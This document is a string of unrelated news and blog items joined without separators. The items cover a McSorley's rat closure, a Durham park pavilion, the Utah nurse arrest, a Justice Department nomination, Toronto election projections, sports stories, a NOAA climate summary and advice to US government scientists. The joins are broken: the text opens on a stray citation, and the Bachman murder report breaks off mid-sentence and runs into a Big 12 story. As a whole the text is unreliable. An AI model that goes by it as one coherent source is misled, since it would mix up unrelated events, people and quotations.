[xxiii] Ibid., 110.McSorley’s, one of America’s oldest eating and drinking establishments, is now closed with a bright yellow sticker from the Department of Health on the door. The DOH database does not yet show any information about yesterday’s inspection, although it usually takes about a day to update. EV Grieve notes that the bar is filled with presidential ephemera, so it was a curious choice for a DOH inspection on the day after the election.
The bar, which dates back to the 1850s, has had to make changes to comply with DOH regulations over the last decade. McSorley’s had to tell its lounging kitties to take a hike six years ago, and that same year, proprietor Matthew Maher had to remove and clean the dozen or so wishbones that hung from a chandelier above the bar. Many of those poultry scraps had been placed there by doughboys who left for World War 1 but never returned. At the time, Maher remarked: "It’s kind of — how would you put it? It’s something you didn’t want to touch. It’s the last thing I wanted to touch or see touched."
Stay tuned for more updates on the fate of McSorley’s as they become available.
Update: The DOH shut down the bar after finding "evidence of rat activity." Maher tells DNAinfo that construction at nearby Cooper Square caused the rat invasion. Equipment and newly opened pipes "was a haven for rats," he says, adding that rats probably got in when workers left the basement door open a few weeks ago.
Maher and his daughter Teresa will be attending a hearing on Monday and hope to clear things up after that. They've hired an exterminator and have purchased a new fridge. "We're doing our best to seal the building," Teresa Maher says. "Now we're aware of what we gotta do and that's it."
DOH temporarily closes McSorley's [EV Grieve]
McSorley's Closed Due to Rats — as Owner Blames Cooper Square Construction [DNAinfo]
All Coverage of McSorley’s [ENY]Over the years since the Duke Park pool closed in 1993, there has been a lot of interest in converting the old bath house into a community center, multi-purpose building and a picnic shelter. People from the neighborhood have spent many hours, days, and weeks negotiating with the City of Durham, trying to work out details, and lobbying local builders and architects. Over twenty years later, the bath house continues to decay. Improving it is a Capital Improvement Project for the City of Durham. The Duke Park Neighborhood Association is excited to partner with the City of Durham, The Durham Parks Foundation, and The Duke Park Preservation Initiative to move closer to realizing our shared goal.
The bath house structure does have some historic interest. It was built as part of a WPA project in the 1930’s and the building is the oldest building in any of Durham’s parks. For more pictures of the bath house and pool during its unfortunately segregated heyday see http://www.opendurham.org/buildings/duke-park-duke-park-pool-and-bathhouse.
Ultimately, the biggest issue is that the bath house is on City property and whatever gets done with it must meet local, state and federal requirements, which are many and complicated. We are pleased that Durham Parks and Recreation has included this project in their priorities sent to the Durham City Council for funding in the 2017-2018 budget.
The late Bill Anderson, a long time Duke Park resident, incurable optimist, and activist, schemed constantly to get people to donate to rebuild the bath house and talked to whoever would listen about the beautiful old roof. Largely because of Bill, interest in renovating the bath house remained strong.
The City does want to use the bath house space for a public building. Parks & Recreation needs more shelters and this is a good location right next to the street and much more accessible than the current shelter. Several years ago the City hosted an open house and solicited input on possible designs. The current design proposal (not an actual building plan, that must come once the project is funded) is to tear down the existing bath house (salvaging historic materials to the extent possible) and build a new pavilion structure which would serve as a shelter and also an event stage for concerts, theater, and the annual Beaver Queen Pageant. Given the current condition of the structure, and having explored many other options, we are in support of this plan.
The Duke Park Neighborhood Association has put forth the proposal that the completed pavilion be dedicated as the Bill Anderson Memorial Pavilion in tribute to Bill’s contributions to Durham and Duke Park. We would like to demonstrate our support and to honor Bill by raising funds for the project.
Donations may be made to the Durham Parks Foundation on behalf of this project. Funds raised, combined with those donated to the Duke Park Preservation Initiative will be restricted for this project [and are tax deductible to the extent of the law].
Please specify "Anderson" with your donationNurse Alex Wubbels, right, looks on during an interview while her attorney Karra Porter looks on, Friday, Sept. 1, 2017, in Salt Lake City. Wubbels followed hospital policy and advice from her bosses when she told Salt Lake City police Detective Jeff Payne that he could not get a blood sample without a warrant or consent from the patient, according to Porter. The police department is making changes after Payne dragged a screaming Wubbels out of the hospital in handcuffs when she refused to allow blood to be drawn from the unconscious patient. (AP Photo/Rick Bowmer)
The videotaped arrest of a Utah nurse who refused to allow blood to be drawn from an unconscious patient has raised questions about how far officers can go to collect evidence and has led to policy changes within the Salt Lake City Police Department.
Here are some of the legal issues involved:
___
WHAT HAPPENED?
Police body-camera video released Thursday shows Salt Lake City Detective Jeff Payne handcuffing nurse Alex Wubbels on July 26 after she refused to allow blood to be drawn from an unconscious patient after a car crash.
In the video, Wubbels, who works in the burn unit at Utah University Hospital, explains she’s protecting the patient’s rights and she can’t take the man’s blood unless he is under arrest, police have a warrant or the patient consents.
None of that applied, and the patient was not a suspect. Payne’s written report says he wanted the sample to show the victim did nothing wrong.
The dispute ended with Payne telling Wubbels: “We’re done, you’re under arrest.” He pulled Wubbels outside while she screams: “I’ve done nothing wrong!”
Wubbels is being praised for her actions to protect the patient, while Payne and another officer are on paid leave. Criminal and internal affairs investigations are underway.
___
LEGAL ISSUES AT PLAY?
A 2016 U.S. Supreme Court ruling says a blood sample can’t be taken without patient consent or a warrant. But in this case, the officer reportedly believed he had “implied consent” to take the patient’s blood.
Implied consent assumes that a person with a driver’s license has given approval for blood draws, alcohol breath screenings or other tests if there’s reason to believe the driver is under the influence.
Paul Cassell, a criminal law professor at the University of Utah’s S.J. Quinney College of Law, wrote in an opinion piece for The Salt Lake Tribune that state law doesn’t permit a blood draw in this situation — especially since the blood was being sought to prove the patient was not under the influence.
Wubbels’ attorney, Karra Porter, said the state’s implied-consent law “has no relevance in this case whatsoever under anyone’s interpretation.... The officer here admitted on the video and to another officer on the scene that he knew there was no probable cause for a warrant.”
___
MEDICAL PERSONNEL VS. POLICE
Charles Idelson, a spokesman for National Nurses United, said a nurse’s prime responsibility is to be a patient advocate and protect patients, especially when they can’t consent themselves.
Meanwhile, police are investigators and have to capture forensic evidence, which in the case of a blood draw, is decaying with every passing minute, said Ron Martinelli, a forensic criminologist and certified medical investigator.
“For the officer, the clock is ticking,” Martinelli said.
But even with those different objectives, police and medical professionals routinely cooperate and conflicts like the Utah case are infrequent, Martinelli said.
___
THE OFFICERS
A second officer who was put on leave Friday has not been formally identified, but officials have said they were reviewing the conduct of Payne’s boss, a lieutenant who reportedly called for Wubbels’ arrest if she kept interfering.
Wubbels, who was not charged with a crime, has said that Payne “bullied me to the utmost extreme.” Payne hasn’t returned messages left at publicly listed phone numbers.
The Salt Lake City police chief and mayor also apologized and changed department policies on blood draws. Police spokeswoman Christina Judd said the new policy does not allow for implied consent for any party and requires a warrant or consent.
Judd also said the agency has met with hospital administration to ensure it does not happen again and to repair relationships.
___
Forliti reported from Minneapolis. Associated Press writer Sally Ho in Las Vegas contributed to this story.
___
Follow Amy Forliti on Twitter: http://www.twitter.com/amyforliti. More of her work can be found at https://apnews.com/search/amy%20forliti.Sally Quillian Yates, right, sits next to Attorney general Eric. H. Holder Jr. during a meeting with law enforcement and community leaders for a roundtable discussion at Ebenezer Baptist Church in Atlanta. (David Goldman/AP)
The Obama administration plans in the coming days to nominate a U.S. attorney from Georgia to become the second-highest-ranking official in the Justice Department, according to U.S. officials.
Sally Quillian Yates, a longtime prosecutor and the U.S. attorney for the Northern District of Georgia since 2010, is expected to be announced as the pick for deputy attorney general, the official who runs Justice Department operations day to day. Yates, who has served as the vice chair of Attorney General Eric H. Holder Jr.’s advisory committee, is the first woman to serve as the U.S. attorney in Atlanta.
Yates would replace Deputy Attorney General James M. Cole, who is stepping down in January to take a job in the private sector.
The Senate is expected to begin the confirmation hearing for attorney general nominee Loretta Lynch in the second or third week of January. Holder has said he will remain as attorney general until a nominee is confirmed.
If Yates and Lynch are both confirmed by the Senate, two female U.S. attorneys would be at the helm of the Justice Department for the remainder of Obama’s second term.
In her 22 years as a prosecutor in Georgia, Yates has experience in a wide variety of cases, specializing in public corruption. She was the lead prosecutor in the Atlanta prosecution of Olympic bomber Eric Rudolph.
“She did a phenomenal job putting that difficult, complicated case together,” said former FBI director Louis J. Freeh, who worked with Yates on the Rudolph investigation and has known her for 20 years.
“She’s remarkably talented and has a solution to every problem,” Freeh said in an interview. “Her biggest fans are the FBI street agents, the DEA agents, the postal inspectors and the Secret Service. Everybody sings her praises. And she has no ego. She would rather be writing a sentencing memo than get up and have a press conference.”
Gary G. Grindler, who was Holder’s former acting deputy attorney general and chief of staff, said Yates “has terrific judgement and the right temperament for the job.”
“You have to have an open mind and the ability to make a decision under a lot of pressure and move forward,” said Grindler, who has known Yates for more than 20 years. “So much is going on all the time that you don’t have the luxury to take weeks and weeks to evaluate many of the issues that come before you. She’s a consummate professional, committed to do the right thing at all times.”
In a recent case, Yates prosecuted 13 people, including nine former police officers, for accepting thousands of dollars in cash payments to provide protection during staged drug deals that were part of a federal undercover operation.
“Certainly, these departments are filled with dedicated officers who literally risk their lives every day to make our communities safe,” Yates said in August when the 13 were sentenced. “But this case revealed a troubling number of officers from a variety of law enforcement agencies who betrayed their oaths to protect and serve, taking cash from the very criminals they should have been arresting.”HARRISON, N.J. – As the Red Bulls enter the Copa America break, the squad inches ever closer to full fitness.
Throughout the season, the injury bug has bitten a host of players, often forcing head coach Jesse Marsch’s hand when it comes to lineup decisions. But with some time off affording the squad a chance to heal up any lingering issues, the Red Bulls are as close to 100 percent as they have been all year long.
“We’ll start to get our full compliment of players,” Marsch stated, “which is exciting.”
After suffering a hamstring injury in training last Tuesday, defender Chris Duvall appears to be recovering nicely.
“Chris is ahead of schedule,” Marsch said. “We’re hopeful that, by Seattle [on June 19], he’ll be back in the picture.”
Missing out on Saturday’s 3-0 win over Toronto FC with a minor groin injury, midfielder Lloyd Sam is “fine” according to Marsch. Removed from the lineup for precautionary reasons, Sam returned to the pitch and trained fully on Wednesday.
Bearing some more good news, Marsch revealed that defender Damien Perrinelle may finally be making his long-awaited return to the team.
Sustaining a torn ACL during last year’s playoff run, the Frenchman has returned from Clairefontaine and should soon find himself back amongst his teammates in Hanover.
“Damien got back last night. He visited the doctors this morning and he’s getting a workout later today. I’m hopeful that he’ll be training by the end of the week.”
SUBSCRIBE TO THE NEW YORK RED BULLS EMAIL NEWSLETTERThis is the seventh in a series that will run until the end of the campaign, taking an in-depth look at where the polls stand in every region of the country and which seats are up for grabs. Check out the last instalment, where the spotlight was on Greater Montreal.
The hopes of three parties lie in large part with the city of Toronto, where the Liberals, New Democrats and Conservatives all have a big number of seats to gain — or to lose.
Despite Toronto's reputation as a Liberal bastion, both the Conservatives and the New Democrats elected more MPs there in the 2011 election than the Liberals did. The two parties split 16 seats equally between them, with the Liberals winning the remaining six. And this despite the Liberals finishing first in the vote count, with 35 per cent to 31 per cent for both the Conservatives and NDP.
It was a big change in a city that had voted solidly Liberal since 1993. But Toronto could be about to swing back.
Polls suggest the Liberals hold a sizable and consistent lead in the city, with about 38 to 40 per cent support. The New Democrats follow with between 27 and 31 per cent, while the Conservatives have polled mostly between 26 and 28 per cent since the campaign began. Modest change, then, but enough to move a lot of seats.
Current projections give the Liberals the edge in 17 to 22 seats in Toronto, while the New Democrats are on track to win between three and six. The Conservatives could be shut out of the city, or prevail in as many as two.
ThreeHundredEight.com's projections for Toronto, as of Oct. 6, 2015. (Stephen McMurtry/ThreeHundredEight.com)
Riding-level polling suggests the race could be close in a number of ridings, with the Liberals and Conservatives battling it out for seats like Etobicoke Centre, Etobicoke-Lakeshore, York Centre, and Eglinton-Lawrence, and the NDP and Liberals locking horns in Scarborough Southwest, Spadina-Fort York, Toronto Centre and University-Rosedale.
For the Liberals to have a hope of forming government, however, they need to ensure the red tide about to rise on the shores of Lake Ontario is not held back.
Projections already award the Liberals the lion's share of the seats in Toronto, giving them the edge in 22 of the 24 seats in which they are in play (there are 25 seats in Toronto). So for the Liberals to form government, they need to win these seats. If they fall short in Toronto where they are currently expected to do well, they have no hope of surpassing the Conservatives in the national seat count.
Compared with 2011, gains for the Liberals are likely to come throughout Toronto: in the inner suburbs, particularly in the Don Valley and Scarborough. A good night would see them winning the seats they lost to the Conservatives in the outer rim of Toronto, and winning the NDP strongholds in the city centre.
The following is a list of ridings that each of the parties could pick up on election night. Favourable gains are those in which there is a good chance of the party winning, potential gains are those in which the results may be close and marginal gains are seats in which the party has an outside chance.
Favourable Liberal gains:
Don Valley East.
Don Valley North.
Don Valley West.
Eglinton-Lawrence.
Etobicoke Centre.
Scarborough Centre.
Scarborough North.
Scarborough-Rouge Park.
Scarborough Southwest.
Willowdale.
York South-Weston.
Potential Liberal gains:
Beaches-East York.
Etobicoke-Lakeshore.
Parkdale-High Park.
University-Rosedale.
Marginal Liberal gains:
Davenport.
For the New Democrats, Toronto is key to their chances of winning on Oct. 19. Along with southwestern Ontario, it is one of the parts of the province in which the NDP was targeting for gains. The party is in play in as many as 11 ridings in Toronto, and would need almost all of them to help the NDP close the current seat gap with the Liberals and Conservatives. But the Liberal uptick makes that a tall order.
The low-hanging fruit for the NDP is in the old city of Toronto, where it hopes to win back Olivia Chow's former riding and win the new riding of University-Rosedale. A better night for the New Democrats would see them also retaining their gains in Scarborough, as well as making new ones there and in the city centre.
Favourable NDP gains:
Spadina-Fort York.
Potential NDP gains:
University–Rosedale.
Marginal NDP gains:
Scarborough-Rouge Park.
Toronto Centre.
Toronto would not be high on the list of regions for the Conservatives as they find themselves playing defence in most parts of the country. But the Conservatives have little choice but to aim for a majority if they are to retain power, and they do not win a majority without retaining the seats they won in Toronto in 2011, considering the losses they are on track to suffer in places like British Columbia and Atlantic Canada.
Put simply, Toronto is about holding what the Conservatives can in their stronger regions of Etobicoke and North York. But the party does have some slim prospects for gains as well, primarily in three-way contests in Scarborough, where the Tories could benefit from a divided opposition.
Marginal Conservative gains:
Don Valley North.
Scarborough-Guildwood.
Scarborough North.
Scarborough-Rouge Park.
Scarborough Southwest.
How the close races in Toronto go could play an important role in deciding who gets to form the next government. The Liberals look like they have Toronto, and absolutely need to keep it. The New Democrats look like they are on track for losses in the city, and desperately need to turn those around. And the key to a second Conservative majority is not only in winning the outer suburbs of the Greater Toronto Area, but also holding most of their seats in Toronto itself.
The NDP and Conservatives need a good night in Toronto. The Liberals need to make sure it won't be a bad one.
CBC's Poll Tracker aggregates all publicly released polls, weighing them by sample size, date and the polling firm's accuracy record. Upper and lower ranges are based on how polls have performed in other recent elections. The seat projection model makes individual projections for all ridings in the country, based on regional shifts in support since the 2011 election and taking into account other factors such as incumbency. The projections are subject to the margins of error of the opinion polls included in the model, as well as the unpredictable nature of politics at the riding level. The polls included in the model vary in size, date and method, and have not been individually verified by the CBC. You can read the full methodology here.Minnesota CEO Todd Bachman Murdered in Beijing (Photos)
The Chairman and CEO of Minneapolis based flower empire Bachman's Inc.,, was murdered in Beijing, China on Saturday, August 9, 2008. His wife Barbara Bachman was injured along with their female tour guide. Their daughterwas on the 2004 U.S. Women's Volleyball team and is married to, the head coach of the 2008 U.S. Men's Volleyball team.
The couple, both 62, were sightseeing some five miles from the Olympic Stadium when the attack occurred. They were on the second floor of the 14th Century Drum |
and bought out that pro rata clause, we’ll like keep ourselves at 10,” SI’s Pete Thamel reported.
Oklahoma president David Boren, left, and Big 12 commissioner Bob Bowlsby. (Photo: LM Otero, AP Photo)
BYU appeared to have a key ally in the Big 12 expansion race in Oklahoma president Boren, who once publicly called the league “psychologically disadvantaged” with its current 10 teams when compared to the rest of the Power 5 conferences. But Boren has walked back those comments recently, and optimism towards expansion has waned in the weeks since August.
“Any time you make a statement, it has to do with the context in which you're saying it and the circumstances in which you're saying it,” Boren said. “The circumstances have radically changed. My thoughts about expansion have really centered around the possibility in the past of whether or not we could have a conference network.
“I felt that we were at that time disadvantaged because we did not have a conference network. I still wish and hope someday, who knows which form of technology it will take, we will perhaps someday have a branded conference network of some kind.”
The Big 12 requires a simple majority of at least eight member schools to add additional conference opponents. No candidate garnered a plurality of votes, leading to the unanimous vote not to expand, Bowlsby confirmed.
The league also holds on to a grant of rights that prohibits any league member from leaving the conference through 2025, unless the institution pays a multimillion dollar fee to the other schools and the Big 12 offices. The grant of rights came at the condition of the league’s current television contract with Fox and ESPN, but it was not amended, extended or removed during Monday’s meetings.
“The grant of rights has come up in the past at a time in which we have been negotiating contracts with our media partners and otherwise,” Boren said. “So, in other words, it's always been in the context of a proposed deal, if you want to say it that way, proposed agreement that would lead to longer-term media contracts, with certain provisions in them.
“So that's when you consider grant of rights. As we begin to approach the end of our current term of contract, which is approximately eight years, I think undoubtedly you're going to see a whole series of discussions about what are the prospects, how will the contracts be renewed or changed.”
None of those, of course, is news to BYU's Kalani Sitake. The first-year head coach made his feelings pretty clear when asked about Big 12 expansion during his Monday morning briefing, preferring instead to focus on the Cougars' Thursday night game at No. 14 Boise State.
"I’m not talking to anyone except for our team and our players, and focusing on a great team that is ranked nationally and undefeated," Sitake said. "We are going into their home, and that’s taking every bit of our attention right now. That’s all we are focused on.”
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Photos
Related StoriesAngels with Filthy Souls was a gangster film. It was followed by a sequel, Angels with Even Filthier Souls.
History
After being left home alone by his family, Kevin McCallister found a videotape of Angels with Filthy Souls and watched it while eating a huge bowl of ice cream.
In the segment Kevin watched, Johnny, a gangster sitting behind a desk in an office, was met by Snakes, a gangster sent by Acey, the head gangster. Snakes asked for the money Johnny owed for "the stuff". Johnny said, "Too bad Acey ain't in charge no more" and implied he was not about to give Snakes any money. Snakes showed discomfort when Johnny said that Acey was upstairs taking a bath, and that he would call Snakes once he got out. Almost immediately, Johnny remarked "I tell ya what I'm gonna give you, Snakes", and got up from his desk while picking up his Tommy gun. Johnny told Snakes to get out before he counted to ten. However, Johnny cut the count short, counting to two, then jumping straight to ten ("One, two...TEN!"), and, while laughing maniacally, shot rapid bullets at Snakes, killing him. Johnny stared at the corpse and said, "Keep the change, ya filthy animal!". Kevin then paused the video and shouted for his mom.
Later, Kevin utilized the tape to play tricks on a pizza man and thwart burglar Marvin Murchins.
Behind the scenes
Angels with Filthy Souls is not a real film, as the only shown segment was made specifically for Home Alone. The title is likely a reference to the 1938 film Angels with Dirty Faces.
Johnny is played by Ralph Foody and Snakes is played by Michael Guido.
It was included as a featurette in the Home Alone DVD release.Transcript
NARRATOR:
The numbers are in. The American Meteorological Society’s State of the Climate in 2013 shows that the vast majority of worldwide climate indicators continued to reflect trends of a warmer planet. This report, released in 2014 and compiled by hundreds of scientists from organizations around the world and coordinated by NOAA’s National Climatic Data Center, used dozens of climate indicators to track patterns, changes, and trends of the global climate system.
Our ocean is a vital component of the climate system, and therefore many aspects of it can be studied as climate indicators. For example: The globally averaged sea surface temperature for 2013 was among the 10 highest on record, with the North Pacific reaching an historic high temperature. Rising sea surface temperatures can increase the destructive potential of tropical storms and have major impacts on ocean life.
The Arctic experienced its seventh warmest year on record, and it is warming at twice the rate of lower latitudes. This is called “Arctic Amplification.” Arctic sea ice extent was the sixth lowest since satellite observations began. Arctic sea ice exerts a cooling influence on the climate by reflecting sunlight, and is an important habitat for arctic animals.
2013 global average sea level was 1.5 inches above the 1993-2010 average, which is the highest yearly average in the satellite record, and on pace with the trend of ~3.2 mm per year over the past two decades. Rising sea levels threaten coastal communities, infrastructure, and fish and wildlife habitats.
Our ocean and climate are inextricably linked, so it’s important that we continue to study how and why they are changing.
For the full report, and to learn more about our climate, visit ncdc.noaa.gov/sotc.Registration only takes 2 minutes, so register and place your bet now! T&Cs apply
Unimpressed with another Chelsea master class in the apparently easily-mastered art of defending, Arsenal fans displayed their discontent through the medium of song.
‘Boring, boring Chelsea’ chorused around the Emirates at full time of the two London clubs’ goalless draw that moved the Blues to within two wins of a fourth Premier League crown.
The inevitable completion of the quartet will mean Jose Mourinho’s men have hoisted the grandest prize in the English game four times since Arsenal last reigned supreme.
On top of the one FA Cup the Gunners have plundered in that time, Chelsea landed a Champions League crown, a Europa League equivalent, four FA Cups, three League Cups, made eight managerial changes and purchased £805m worth of players.
Such antics are not the first you’d assume of a ‘boring’ football team and, as Mourinho stated in his post-match press conference, Arsenal’s lengthy wait for a league title is far more mind numbing than seasonal success celebrations.
But it’s not just in terms of recent titles won where Chelsea make the north Londoners look mundane, with several stats from this campaign alone suggesting the Blues are the more exciting side of the two.
When measured up against Arsenal, Chelsea are higher in the table, having won more matches, scored more goals and registered the same average of shots on target per outing.
Their six strikes registered at Everton means their seasonal best goal haul stands one higher than the Gunners’ five managed against Aston Villa, while it’s twice the amount Arsene Wenger’s side have mustered in an away game.
In terms of individuals, they have six representatives in the PFA Team of the Year, eclipsing Arsenal’s contribution of one.
In Eden Hazard, they boast the PFA Player of the Year, Diego Costa’s 19 goals makes him the third-most prolific scorer of the campaign and no one has been able to rival Cesc Fabregas for assists.Fine Gael MEP Deirdre Clune has rejected claims by US presidential candidate Bernie Sanders that planned air routes between Cork/Shannon and the US would cause thousands of job losses.
Mr Sanders had said Norwegian Airlines International (NAI)’s planned services would employ low-paid crew, a move that would “threaten the jobs of hundreds of thousands of flight attendants, mechanics, pilots and other airline workers in our country [the US] and in Europe.
“We must do everything we can to prevent a global race to the bottom in the airline industry,” Mr Sanders said.
“If this permit is approved, it would open the door to the same ‘flag of convenience’ model that decimated US shipping.”
Ms Clune said Mr Sanders, unions and a “a number of legacy airline carriers” were attempting to block new competition on transatlantic routes.
“I utterly refute the allegations that Norwegian Airlines is using Ireland as a flag of convenience to employ low-paid crew and to undermine working conditions for cabin crew working for other transatlantic airlines,” she said.
Ms Clune said the NAI’s licence from the US government to fly between Cork/Shannon and the US would have “an enormously positive impact on southern Ireland”.
She said the routes would bring “more tourists, open up more investment and create a direct link between south Ireland and the US”.
Ryanair
Ms Clune also compared the Democratic presidential candidate’s opposition to the air service to the negativity and opposition faced by Ryanair when it sought out a licence to fly to the UK in 1986.
“Look at the impact that Ryanair have had on the EU aviation market, employing some 10,000 people and opening up air travel to millions to Europeans.”
Ms Clune described Mr Sanders’s calls as “anti-competitive and bad for passengers.
“We cannot continue to protect certain airlines from competition. Doing so will ensure that we continue to see higher air fares on transatlantic routes with less choice and less competition.”You have to feel for Danny Willett. The Masters champ earned his first invite to the Ryder Cup, yet his experience was tarnished before he touched the Hazeltine grounds. His brother P.J. wrote a tongue-in-cheek -- albeit incendiary -- column on the European efforts, one that proved to be a distraction for the club on and off the course. It painted a huge target on Danny's back, and he was the victim of vicious, non-stop catcalls from the gallery all week.
To his credit, Willett handled the circumstance with dignity, taking the high road and profusely apologizing for his brother's comments. Alas, it clearly affected his play, as the No. 9 player in the world failed to record a point in three matches in Chaska.
Following Sunday's matches, Willett was blunt in his assessment of his play, calling his game "shi**." But after he left the premises, Willett finally opened up on his treatment from the pro-U.S. crowd.
Again, you have to sympathize with the 28 year old; men of lesser fortitude would have snapped inside the ropes. He's also correct: the behavior of the American audience was deplorable.
Willett has a bright future, and likely be a part of multiple Ryder Cups in his career. Sadly, his first is one he'd rather forget.
WATCH: GOLF DIGEST VIDEOSNevada Southern Detention Center in Pahrump (Las Vegas Review-Journal)
A corrections employee committed suicide Tuesday at the Nevada Southern Detention Center in Pahrump.
The private detention facility, which houses federal inmates awaiting trial, disclosed the suicide in a statement Wednesday that said the employee “sadly took his own life.”
The employee’s name and position have not been released to the public. Detention center staff members found his body after responding to a fire alarm that went off around 6 p.m. No fire was discovered. Staff contacted emergency medical services, who pronounced the employee dead at the scene.
A source with knowledge of the investigation said tear gas or some other chemical irritant was set off in the room before the suicide. The death was the result of a gunshot wound, the source said.
“Our thoughts and prayers are with the family and loved ones of our fellow CoreCivic colleague, as well as with the extended family of Nevada Southern Detention Center staff,” Nevada Southern Detention Center spokeswoman Kayla Gieni said in the statement. “Resources are being made available to impacted employees at the facility as they cope with the loss of a colleague.”
CoreCivic, formerly the Corrections Corporation of America, is a company that owns and manages private prisons and detention centers throughout the country, including the Nevada Southern Detention Center in Pahrump. The facility currently is housing notorious anti-federalist rancher Cliven Bundy and his band of more than a dozen like-minded supporters who are awaiting trial on charges resulting from the 2014 armed standoff in Bunkerville.
The corrections company said it is cooperating fully with local law enforcement as it investigates the suicide. The Nye County Sheriff’s Office, whose jurisdiction includes Pahrump, is investigating. The Clark County coroner’s office will determine the official cause of death.
Contact Jenny Wilson at jenwilson@reviewjournal.com or 702-384-8710. Follow @jennydwilson on Twitter. Review-Journal reporter Henry Brean contributed to this report.I figured it would be a good idea to summarize some of the thoughts I have from having lived through this in the Canadian government to offer some ideas to colleagues in the US who are now entering what seems to be a similar (if not worse) era of limiting communication from government scientists and (possibly?) down-weighting scientific evidence in policy decisions, particularly as they relate to the environment and natural resource extraction. This comes from having worked for the Federal government for 4 years, the last two of which were under a conservative majority government which resulted in deep cuts and heavy top-down control of how things were done and approved. This blog was spawned from my experience cumulatively, but especially in the last two years when it seemed like everyone I knew was being laid off or reassigned and it literally felt like the philosophical foundations of scientific inquiry within the federal government were crumbling. While it wasn’t much fun, I can say I learned a lot from that experience, and hopefully some of what I learned can be used by others who are now going through the same thing.
Feel free to look through the pages of this blog for inspiration- much of it will be specific to the situation we found ourselves in, but other aspects may provide some thoughts as to how to deal with the current situation in the US. Recognizing that not many folks have the time to go reading all my old blog posts, I figured I could summarize some of what I felt were the most important bits from my experience. Keep in mind that I ultimately left the public service, but much of what I have below was a successful survival strategy for me when I had no other options.
With that said, here are my humble suggestions (in no particular order):
1. Get a personal e-mail address, use it on your home computer. Take a page from Hilary; these aren’t state secrets, but it’ll give you the opportunity to communicate with colleagues without having your employer watching your every move. Particularly important if you want to start up your own anonymous blog (like this one used to be), or are taking other actions to try and loop around the restrictions you now find yourself facing.
2. Get anonymous, get online. Twitter, a blog, etc. This is a great way to let people know what’s going on on the inside. Note that it also means that media won’t always be able to carry the stories you post- I had a couple of instances where the editors nixed quotes from me (through anonymous interactions with journalists) because they couldn’t verify my identity, but you have an outlet nonetheless.
3. Involve university collaborators in all your work and publications. Not just because they are colleagues, but because this strategy can ultimately save the communication of your work. This breaks down into several important sub-themes:
A. Communicating your science. Even though you can’t comment on the work, your collaborator can. This is extremely important to ensure you have at the study design stage- in cases in the past where other scientists tried to discuss the findings of Canadian government researchers that were not permitted to comment on their work (e.g., Kristi Miller at DFO), those scientists didn’t always get it right, or communicate the important points. Collaborators can do this effectively.
B. Data availability and sharing. Protect any and all data agreements you have in place, and in all cases ensure that university collaborators have a copy of the datasets.
C. Copyright release. Can’t get approval from your supervisor for copyright release on that paper? One strategy would be to take your name off and let your collaborator submit it, with something like the following in the acknowledgements: “The significant roles of EPA scientists A, B, and C could not be formally recognized through authorship due to their agencies’ denial to sign off on copyright release of this work, and are recognized here.” Ideally this wouldn’t happen, and it might hurt publication records of government scientists during this interim, but it will get the work out there vs. Being denied supervisory sign-off. And presumably granting agencies on the other side of this (should they exist) will accept explanations for publication gaps where this can be recognized in acknowledgements.
4. Recognize that not all of your colleagues will want to do what you are doing. Your neighbour who is supporting 3 young kids on a single income will likely not want to take the risk of rocking the boat. I was in that place for a very long time, until I finally cracked and decided that the voice of my colleagues needed to get out, and I provided that venue and perspective which was to that point missing from the discussion.
5. All of us need to help educate the public on why government science matters and how it’s different from academic funding and projects, as well as the important role of science in informing good and effective policy decisions when it comes to the management of natural resources and the environment. There are plenty more examples out there, we need to make sure people know about them. There are also lots of great ways to analyze data to show where policy decisions that aren’t based on science are demonstrably wrong and unfounded.
6. Get engaged with your union. The public service in Canada is unionized, and the actions taken by the Federal government there under Harper ultimately led to including wording around the communication of science in the most recent round of bargaining. By poking around on the internet, it looks like EPA scientists are represented by the “National Treasury Employees Union”. While it looks like you can’t strike, you can do things like “informational picketing” and other actions. The NTEU has a history of securing change through litigating the federal government- I wouldn’t be surprised to see something like this again if it gets really bad.
Hopefully it doesn’t get quite as bad as it did in Canada, where the House of Parliament actually voted against the value of science in policy decisions. And then gave each other high-fives after doing so (seriously).
Don’t forget, we’re all in this together, and it’s up to all of us, no matter what country we are in, to help combat the current war against objectivity. People need a reminder that there’s an important difference between “up” and “down”, even when the President and it’s spokespeople are trying to convince us that down is up, and never mind what anyone else tells you.
AdvertisementsOne of the best parts of any vacation is finding that unsung local landmark. Perhaps it’s a neighborhood bar that blew you away, a cultural monument rarely mentioned in travel guides, or an amazing burrito from a street cart. Over on the New York Times, Jenna Wortham points out that Instagram’s a great tool to find these types of places.
The key for Wortham here is simple: you get an unfiltered look at a city through multiple perspectives. Here’s how she explains it:
Looking at the raw feed of geotagged posts offers a graphic map in real time, which you can comb through to make your own guidebook. I like to think of it as akin to a surf cam. But instead of tuning in to see if the waves are too mushy, feeds give a feel for a place that you can use to decide if a place feels fun and seems safe — whatever that means to you. And this has become my compass, my way of navigating the world. Rather than obsessing over travel sites or print guides or bothering friends for recommendations, I check a new city or town’s location tag right before I get there and see which recent posts are most popular. What I see there is wildly unfiltered, refracted through multiple perspectives — and much more revealing than any other guide.
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It’s not just about finding the best (and worst) places to go either, it’s also a means to expose yourself to a variety of cultural insights. Wortham details using Instagram and other geolocation apps to figure out the proper way to dress in certain places, find where like-minded people hang out, and learn about potential socio-political dangers in certain cities.
We’ve talked before about using Tinder to similar ends, which works well in the moment, but Instagram lets you plan a little ahead of time and doesn’t require the use of a hook-up app most non-single people have no excuse to download. I also used Instagram to similar ends on my last vacation, mostly to root out things not to do in New Orleans, which included avoiding long lines and silly tourist traps. It also proved useful for tracking down good happy hour deals. It works well, and Wortham’s usage goes far beyond just Instagram, so head over to The New York Times for a few more ideas.
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Turning Instagram Into a Radically Unfiltered Travel Guide | The New York TimesFans of Final Fantasy: Record Keeper believe they're getting ripped off, and publisher DeNA risks its long-term relationship with its customers if it doesn't prove otherwise.
Nadia Oxford By Nadia OxfordStaff Writer Got a news tip? Is there something you think we should be reporting on? Email news@usgamer.net.
Update, 04/12/2016: Item drop data supplied by readers in the comments highlights the specifics of the Final Fantasy: Record Keeper controversy. DeNA is being accused by players of altering drop rates on three items related to the Final Fantasy Tactics event. The items, the Kaiser Shield, the Grand Armor and the Nu-Khai Armband, reportedly had a higher drop rate when the Japanese version of the Tactics event ran last October.
North American fans of Final Fantasy: Record Keeper are upset over the items' supposed lowered drop rate, since there's been a good deal of hype leading up to the Tactics event. They believe DeNA is taking advantage of the excitement to get players to spend extra cash on rare item draws.
We apologize for the confusion and thank everyone who supplied information and data!
